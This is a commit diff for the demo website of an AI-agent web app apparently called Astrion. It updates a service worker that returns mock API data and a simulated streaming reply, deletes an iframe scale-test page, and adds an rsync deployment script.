0,{trim:!0}]])]),e("button",{class:"auth-button",disabled:v.value,onClick:_},o(s(t)("auth.register")),9,R),e("div",q,o(r.value),1),e("div",H,[T(o(s(t)("auth.haveAccount")),1),e("a",J,o(s(t)("auth.backToLogin")),1)])])]))}});k(L).mount("#auth-app");

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -8,34 +8,41 @@
*/
const DEMO_PAGE = '/demo.html';
const CACHE = 'astrion-demo-v5';
const CACHE = 'astrion-demo-v28';
/* ── 静态响应体 ── */
const MODELS = {
success: true,
items: [
{
context_window: 1048576, description: 'Kimi K3月之暗面最新旗舰模型', fast_only: false,
context_window: 1048576, description: 'Kimi-K3', fast_only: false,
max_output_tokens: 64000, model_key: 'Kimi-K3', multimodal: 'image,video',
name: 'Kimi-K3', supports_reasoning_effort: true, supports_thinking: true,
thinking_only: false, visible: true
},
{
context_window: 1000000, description: 'DeepSeek V4 Flash快速高效的通用模型', fast_only: false,
context_window: 1000000, description: 'DeepSeek-V4-Pro', fast_only: false,
max_output_tokens: 384000, model_key: 'DeepSeek-V4-Pro', multimodal: 'none',
name: 'DeepSeek-V4-Pro', supports_reasoning_effort: true, supports_thinking: true,
thinking_only: false, visible: true
},
{
context_window: 1000000, description: 'DeepSeek-V4-Flash', fast_only: false,
max_output_tokens: 384000, model_key: 'DeepSeek-V4-Flash', multimodal: 'none',
name: 'DeepSeek-V4-Flash', supports_reasoning_effort: true, supports_thinking: true,
thinking_only: false, visible: true
},
{
context_window: 1000000, description: 'MiniMax M3MiniMax最新旗舰模型', fast_only: false,
max_output_tokens: 131072, model_key: 'MiniMax-M3', multimodal: 'none',
name: 'MiniMax-M3', supports_reasoning_effort: false, supports_thinking: true,
context_window: 262144, description: 'GLM-5.2', fast_only: false,
max_output_tokens: 64072, model_key: 'GLM-5.2', multimodal: 'none',
name: 'GLM-5.2', supports_reasoning_effort: true, supports_thinking: true,
thinking_only: false, visible: true
},
{
context_window: 262144, description: 'GLM 5.2,智谱旗舰文本模型', fast_only: false,
max_output_tokens: 64072, model_key: 'GLM-5.2', multimodal: 'none',
name: 'GLM-5.2', supports_reasoning_effort: true, supports_thinking: true,
context_window: 1000000, description: 'MiniMax-M3', fast_only: false,
max_output_tokens: 131072, model_key: 'MiniMax-M3', multimodal: 'none',
name: 'MiniMax-M3', supports_reasoning_effort: false, supports_thinking: true,
thinking_only: false, visible: true
}
]
@ -46,18 +53,26 @@ const SESSION_STATUS = {
session: { host_mode: true, logged_in: true, role: 'admin', run_mode: 'thinking', thinking_mode: true, username: 'host' }
};
const WORKSPACES = {
success: true,
data: {
current_workspace_id: 'ws-daily',
default_workspace_id: 'ws-daily',
workspaces: [
{ workspace_id: 'ws-daily', label: '日常使用', path: '/Users/demo/daily', is_current: true, running_task_count: 0 },
{ workspace_id: 'ws-starraid', label: 'StarRaid', path: '/Users/demo/starraid', is_current: false, running_task_count: 0 },
{ workspace_id: 'ws-dev', label: '开发实战', path: '/Users/demo/dev', is_current: false, running_task_count: 0 }
]
}
};
// 工作区列表为静态数据「当前工作区」是会话态——select 接口会改它,
// 列表与 select 响应都从它动态组装;否则 current_workspace_id 永远钉死,
// 前端切换后 toast/分组高亮会拿错工作区(实测弹窗恒显示「日常使用」)。
const WS_LIST = [
{ workspace_id: 'ws-daily', label: '日常使用', path: '/Users/demo/daily', running_task_count: 0 },
{ workspace_id: 'ws-starraid', label: 'StarRaid', path: '/Users/demo/starraid', running_task_count: 0 },
{ workspace_id: 'ws-dev', label: '开发实战', path: '/Users/demo/dev', running_task_count: 0 }
];
// 初始与 demo 默认落点(弹幕调研对话所属工作区)一致
let currentWorkspaceId = 'ws-starraid';
function buildWorkspaces() {
return {
success: true,
data: {
current_workspace_id: currentWorkspaceId,
default_workspace_id: 'ws-daily',
workspaces: WS_LIST.map((w) => ({ ...w, is_current: w.workspace_id === currentWorkspaceId }))
}
};
}
const UI_BLOCKS = {
block_compress_conversation: false, block_conversation_review: false,
@ -70,24 +85,28 @@ const STATUS = {
success: true,
version: '2026-08-23',
host_mode: true,
container: { username: 'demo', mode: 'host', workspace_path: '/Users/demo/daily', running: true },
admin_policy: { disabled_models: [], forced_category_states: {}, ui_blocks: UI_BLOCKS, version: '2026-08-23' }
};
const PERSONALIZATION = {
success: true,
data: {
theme: 'classic',
theme: 'dark',
tool_intent_enabled: true,
group_sidebar_by_workspace: true,
block_display_mode: 'minimal',
compact_message_display: 'brief',
communication_style: 'auto',
conversation_continuity: 'medium',
agents_md_auto_inject: true,
auto_deep_compress_enabled: true,
deep_compress_trigger_tokens: 200000,
auto_generate_title: true,
auto_shallow_compress_enabled: false
},
context_compression_settings: {
context_window_tokens: 256000, deep_trigger_tokens: 256000,
context_window_tokens: 256000, deep_trigger_tokens: 200000,
shallow_keep_recent_tools: 15, shallow_keep_user_turn_tools: 3,
shallow_max_replace_per_round: 10, shallow_trigger_tokens: 1000,
shallow_trigger_tool_calls_interval: 10
@ -99,7 +118,14 @@ const PERMISSION_MODE = { success: true, mode: 'unrestricted', options: ['readon
const EXECUTION_MODE = { success: true, enabled: true, options: ['sandbox', 'direct'], pending_mode: null, state: { default_mode: 'sandbox', mode: 'sandbox' } };
const NETWORK_PERMISSION = { success: true, enabled: true, mode: 'restricted', options: ['restricted', 'full', 'none'], pending_mode: null };
const TUTORIAL = { success: true, data: { applicable: false, should_prompt: false, tutorial_completed: true, username: 'host' } };
const USAGE = { success: true, data: { quotas: { fast: { count: 0, limit: 200 }, thinking: { count: 0, limit: 200 }, search: { count: 0, limit: 20 } }, role: 'user' } };
// 宿主机模式不统计用量record_model_call/record_search_call 直接 returnquotas count 恒为 0、
// window_start/reset_at 为 nullget_quota_snapshot 行为limit 为配置默认值。勿编造非 0 数字。
const USAGE = { success: true, data: { quotas: { fast: { count: 0, limit: 200, window_start: null, reset_at: null }, thinking: { count: 0, limit: 200, window_start: null, reset_at: null }, search: { count: 0, limit: 20, window_start: null, reset_at: null } }, role: 'user' } };
// ── Token 统计 mock右下角 token 菜单/抽屉数据源)──
// 数据为每条对话的真实 token_statistics由 build-mocks.cjs 导出为 mock/tokens-<id>.json。
// 当前上下文走 /api/conversations/{id}/tokens统计区走 /token-statistics。上限 200k 由
// PERSONALIZATION 的 deep_compress_trigger_tokens 决定(深度压缩阈值)。
const EMPTY_OK = { success: true, data: {} };
const EMPTY_LIST = { success: true, data: [] };
const GIT_SUMMARY = { success: true, data: { available: false } };
@ -146,11 +172,34 @@ self.addEventListener('fetch', (e) => {
if (!url.pathname.startsWith('/api/')) return; // 静态资源放行
e.respondWith(routeApi(url));
e.respondWith(routeApi(url, e.request));
});
async function routeApi(url) {
// ── 模拟流式回复:演示站发送消息时,返回固定文案「实际功能请部署后体验」逐字流式吐出 ──
// 协议对齐真实后端POST /api/tasks 创建任务GET /api/tasks/{id}?from=N 增量拉事件
// text_start → 逐字 text_chunk → text_end → task_completestatus running→succeeded
// 逐字 100ms用户拍板前端轮询周期 250ms每轮稳定拿 2~3 字,节奏快而匀。
const DEMO_REPLY = '实际功能请部署后体验';
const DEMO_TASK_EVENT_INTERVAL_MS = 100;
let demoTask = null; // { taskId, convId, startTs, events }SW 休眠后丢失,重发即可
function buildDemoReplyEvents() {
const evts = [{ idx: 0, type: 'text_start', data: {} }];
Array.from(DEMO_REPLY).forEach((ch, i) => {
evts.push({ idx: i + 1, type: 'text_chunk', data: { content: ch } });
});
evts.push({ idx: DEMO_REPLY.length + 1, type: 'text_end', data: { full_content: DEMO_REPLY } });
evts.push({
idx: DEMO_REPLY.length + 2,
type: 'task_complete',
data: { has_running_sub_agents: false, has_running_background_commands: false, has_running_multi_agent: false }
});
return evts;
}
async function routeApi(url, req) {
const p = url.pathname;
const method = req ? req.method : 'GET';
// 子智能体活动详情
const actMatch = p.match(/^\/api\/sub_agents\/(sub_[\w-]+)\/activity$/);
@ -168,11 +217,25 @@ async function routeApi(url) {
return json({ success: true, data: [] });
}
// 多智能体活跃实例(演示无)
if (p === '/api/multiagent/active_sub_agents') return json({ success: true, agents: [] });
// 多智能体活跃实例猫咪对话conv_20260902_235153_495有 4 个实例,其余对话为空。
// 这是 QuickDock 子智能体窗口在多智能体对话下的唯一数据源,钉空会让快捷窗口无法展开。
if (p === '/api/multiagent/active_sub_agents') {
const convId = url.searchParams.get('conversation_id') || '';
const r = await fetch(`/mock/ma-agents-${convId}.json`);
if (r.ok) return new Response(await r.text(), { headers: { 'Content-Type': 'application/json; charset=utf-8' } });
return json({ success: true, agents: [] });
}
// 待办 / 后台命令(演示对话为空)
if (p === '/api/todo-list') return json({ success: true, data: null });
// 待办列表:有 todo mock 的对话如猫咪返回真实内容否则空——QuickDock 待办窗口数据源
if (p === '/api/todo-list') {
const convId = url.searchParams.get('conversation_id') || '';
if (convId) {
const r = await fetch(`/mock/todo-${convId}.json`);
if (r.ok) return new Response(await r.text(), { headers: { 'Content-Type': 'application/json; charset=utf-8' } });
}
return json({ success: true, data: null });
}
if (p === '/api/background_commands') return json({ success: true, data: [] });
// 文件预览/下载(对话内文件卡片、下载链接)
@ -206,6 +269,20 @@ async function routeApi(url) {
return new Response('演示环境没有该媒体', { status: 404 });
}
// 对话 token当前上下文 / 统计区(均读真实导出的 mock/tokens-<id>.json
const tokensMatch = p.match(/^\/api\/conversations\/(conv_[\w-]+)\/tokens$/);
if (tokensMatch) {
const r = await fetch(`/mock/tokens-${tokensMatch[1]}.json`);
const d = r.ok ? await r.json() : null;
return json({ success: true, data: { total_tokens: (d && d.current_context_tokens) || 0 } });
}
const tokenStatsMatch = p.match(/^\/api\/conversations\/(conv_[\w-]+)\/token-statistics$/);
if (tokenStatsMatch) {
const r = await fetch(`/mock/tokens-${tokenStatsMatch[1]}.json`);
if (r.ok) return json({ success: true, data: await r.json() });
return json({ success: true, data: { total_input_tokens: 0, total_output_tokens: 0, total_tokens: 0, total_cached_input_tokens: 0, cache_exempt_input_tokens: 0, current_context_tokens: 0 } });
}
// 对话 bootstrap
const bootMatch = p.match(/^\/api\/conversations\/(conv_[\w-]+)\/bootstrap$/);
if (bootMatch) {
@ -214,18 +291,41 @@ async function routeApi(url) {
return json({ success: false, error: '对话不存在' }, 404);
}
// 对话列表
// 版本控制状态:必须显式 mock前端 fetchVersioningStatus 会用 payload.host_mode
// 覆盖全局 versioningHostMode若落到兜底 EMPTY_OKdata:{}host_mode=undefined
// 会把 host 模式打回 false分组视图立刻消失且 persist 进 localStorage 持续作恶。
const versioningMatch = p.match(/^\/api\/conversations\/(conv_[\w-]+)\/versioning$/);
if (versioningMatch) {
return json({ success: true, data: { host_mode: true, enabled: false, mode: 'overwrite' } });
}
// 对话列表(支持 workspace_id 过滤:按 WORKSPACES 的 path 匹配对话 project_path
if (p === '/api/conversations') {
const ma = url.searchParams.get('multi_agent_mode') === '1';
const r = await fetch(`/mock/conversations-${ma ? 'ma' : 'normal'}.json`);
return new Response(await r.text(), { headers: { 'Content-Type': 'application/json; charset=utf-8' } });
const wsId = url.searchParams.get('workspace_id');
if (!wsId) {
return new Response(await r.text(), { headers: { 'Content-Type': 'application/json; charset=utf-8' } });
}
const all = await r.json();
const ws = WS_LIST.find((w) => w.workspace_id === wsId);
const list = (all.data.conversations || []).filter((c) => !ws || c.project_path === ws.path);
return json({ success: true, data: { conversations: list, has_more: false, limit: 50, offset: 0, total: list.length } });
}
// 各状态端点
if (p === '/api/session-status') return json(SESSION_STATUS);
if (p === '/api/csrf-token') return json({ success: true, csrf_token: 'demo' });
if (p === '/api/v1/models') return json(MODELS);
if (p === '/api/host/workspaces') return json(WORKSPACES);
if (p === '/api/host/workspaces/select') {
const target = url.searchParams.get('workspace_id') || '';
const ws = WS_LIST.find((w) => w.workspace_id === target);
if (ws) currentWorkspaceId = ws.workspace_id;
// 故意不返回 project_path前端 toast 取值顺序是 project_path || 工作区名 || id
// 演示区路径(/Users/demo/xxx没有展示价值缺省后 toast 显示工作区名称。
return json({ success: true, data: { current_workspace_id: currentWorkspaceId, default_workspace_id: 'ws-daily', workspace_label: ws ? ws.label : '' } });
}
if (p === '/api/host/workspaces') return json(buildWorkspaces());
if (p === '/api/status') return json(STATUS);
if (p === '/api/personalization') return json(PERSONALIZATION);
if (p === '/api/work-mode') return json(WORK_MODE);
@ -237,6 +337,41 @@ async function routeApi(url) {
if (p === '/api/project/git-summary') return json(GIT_SUMMARY);
if (p === '/api/health') return json({ status: 'ok' });
if (p === '/api/focused') return json({});
// 发送消息 → 创建模拟任务(前端随后按 task_id 轮询事件)
if (p === '/api/tasks' && method === 'POST') {
const body = await req.json().catch(() => ({}));
demoTask = {
taskId: `demo_task_${Date.now()}`,
convId: String(body.conversation_id || ''),
startTs: Date.now(),
events: buildDemoReplyEvents(),
};
return json({ success: true, data: { task_id: demoTask.taskId, status: 'running', created_at: new Date().toISOString() } });
}
// 模拟任务轮询:按经过时间逐步放事件,放完后 status=succeeded前端停止轮询
const demoTaskMatch = p.match(/^\/api\/tasks\/(demo_task_\d+)$/);
if (demoTaskMatch) {
if (!demoTask || demoTask.taskId !== demoTaskMatch[1]) {
return json({ success: false, error: '任务不存在或已过期' }, 404);
}
const from = Math.max(0, Number(url.searchParams.get('from') || 0));
const visible = Math.min(demoTask.events.length, Math.floor((Date.now() - demoTask.startTs) / DEMO_TASK_EVENT_INTERVAL_MS));
const done = visible >= demoTask.events.length;
return json({
success: true,
data: {
task_id: demoTask.taskId,
status: done ? 'succeeded' : 'running',
events: demoTask.events.slice(from, visible),
next_offset: visible,
conversation_id: demoTask.convId,
updated_at: new Date().toISOString(),
}
});
}
if (p === '/api/tasks' || p === '/api/terminals') return json(EMPTY_LIST);
if (p === '/api/tool-settings') return json({ success: true, categories: [] });
if (p === '/api/effective-policy') return json({ success: true, data: { categories: {} } });

View File

@ -1,57 +0,0 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<title>scale 验证</title>
<style>
body { margin: 0; background: #14161b; font-family: -apple-system, "PingFang SC", sans-serif; color: #e8e6e1; }
.wrap { max-width: 1080px; margin: 40px auto; padding: 0 24px; }
h2 { font-size: 14px; font-weight: 500; color: #9a968e; margin-bottom: 12px; }
/* 关键结构:视口容器 → 缩放盒 → 固定逻辑尺寸的 iframe */
.demo-viewport {
position: relative;
overflow: hidden;
border-radius: 12px;
border: 1px solid #2b2e36;
background: #000;
}
.demo-scale {
transform-origin: top left;
width: 1400px; /* 逻辑布局宽度:内部永远按 1400px 桌面排版 */
height: 860px;
}
.demo-scale iframe {
width: 1400px;
height: 860px;
border: none;
display: block;
}
</style>
</head>
<body>
<div class="wrap">
<h2>演示区(容器宽 1032pxiframe 内部按 1400px 排版后等比缩至 0.737</h2>
<div class="demo-viewport" id="viewport">
<div class="demo-scale" id="scaleBox">
<iframe src="/demo.html" title="Astrion 演示"></iframe>
</div>
</div>
</div>
<script>
// 等比缩放:容器实际宽度 / 逻辑宽度
var LOGICAL_W = 1400, LOGICAL_H = 860;
var viewport = document.getElementById('viewport');
var scaleBox = document.getElementById('scaleBox');
function fit() {
var w = viewport.clientWidth;
var s = w / LOGICAL_W;
scaleBox.style.transform = 'scale(' + s + ')';
viewport.style.height = (LOGICAL_H * s) + 'px';
}
new ResizeObserver(fit).observe(viewport);
fit();
</script>
</body>
</html>

15
deploy_website.sh Normal file
View File

@ -0,0 +1,15 @@
#!/usr/bin/env bash
# Astrion 官网一键部署:本仓库 demo/ → 服务器 /var/www/astrion/
# 用法bash deploy_website.sh
# --delete 会删除服务器上本仓库没有的文件(已豁免 .well-knowncertbot 续期用)。
set -euo pipefail
SRC="$(cd "$(dirname "$0")/demo" && pwd)/"
DEST="59.110.19.30:/var/www/astrion/"
rsync -az --delete \
--exclude='.DS_Store' \
--exclude='.well-known/' \
"$SRC" "$DEST"
echo "Deployed → https://astrion.cyjai.com"